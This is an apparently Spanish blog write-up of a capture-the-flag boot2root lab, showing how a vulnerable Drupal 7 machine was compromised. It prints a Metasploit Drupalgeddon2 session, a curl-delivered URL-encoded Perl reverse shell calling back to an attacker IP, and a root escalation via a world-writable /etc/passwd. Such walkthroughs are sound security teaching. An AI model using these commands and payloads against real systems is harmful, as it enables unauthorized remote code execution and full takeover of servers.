Solución al reto 25 "born2root"

Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:

Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229                                                                                             

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
|   256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_  256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp   open  http    Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open  llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.1.229

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds

Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:

http://192.168.1.229/

Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
# ./droopescan scan drupal -u http://192.168.1.229/
[+] No themes found.

[+] Possible interesting urls found:
    Default changelog file - http://192.168.1.229/CHANGELOG.txt

[+] Possible version(s):
    7.51
    7.52

[+] No plugins found.

[+] Scan finished (0:00:04.452500 elapsed)

¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
msf5 > search drupal

Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Drupal Drupalgeddon 2 Forms API Property Injection
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  PHP XML-RPC Arbitrary Code Execution


 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        If output should be dumped
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                         yes       The target address
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.229
rhost => 192.168.1.229
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit


[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Drupal 7.x targeted at http://192.168.1.229/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.1.229
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.229:56868) at 2018-05-18 12:03:21 +0200

meterpreter > getuid
Server username: www-data (33)

¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
meterpreter > shell
Process 1431 created.
Channel 0 created.

python3 -c 'import pty; pty.spawn("/bin/sh")'

$ find / -name user.txt -print
....

find: '/run/sudo': Permission denied
find: '/run/postgresql/9.6-main.pg_stat_tmp': Permission denied
find: '/run/lvm': Permission denied
find: '/run/systemd/inaccessible': Permission denied
find: '/run/lock/lvm': Permission denied
/home/hackmen00b/user.txt
find: '/home/hackmen00b/.cache': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
$ cat /home/hackmen00b/user.txt
cat /home/hackmen00b/user.txt
8D2A059E6B154EC9215882B82F28CFCB

Fácil y sencillo, para toda la familia xD

Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
curl 'http://192.168.X.190/sites/default/s.php' -d 'c=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.X.243%22%3B%24p%3D1337%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27%20%3A'

Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
$ ls -las /etc/passwd
ls -las /etc/passwd
4 -rwxrwxrwx 1 root root 1759 May  8 15:28 /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
postgres:x:110:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
pollinate:x:112:1::/var/cache/pollinate:/bin/false
hackmen00b:x:1000:1000:hackmen00b,,,:/home/hackmen00b:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$

Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.

Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
www-data@hackmen00b:~/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:$6$reKe6zEF$PZ19z7x4uaSCTHqKy8Oma04cvciJV32VcG2PLAQ4N8jVgmteXYAGUZNVsgZhn7L9NT8mWj9g9R.MJA5wk31sF.:0:0:root:/root:/bin/bash
www-data::33:0:www-data:/var/www:/bin/bash
www-data@hackmen00b:~/html/drupal$ su
su
Password: test12345

root@hackmen00b:/var/www/html/drupal# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackmen00b:/var/www/html/drupal#

root@hackmen00b:/var/www/html/drupal# cat /root/root.txt
cat /root/root.txt
0C9350CD1516EB0A516D604EAC7177FC

Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.

¡Nos "vemos" en el siguiente!

Via: www.hackplayers.com
Solución al reto 25 "born2root" Solución al reto 25 "born2root" Reviewed by Anónimo on 10:34 Rating: 5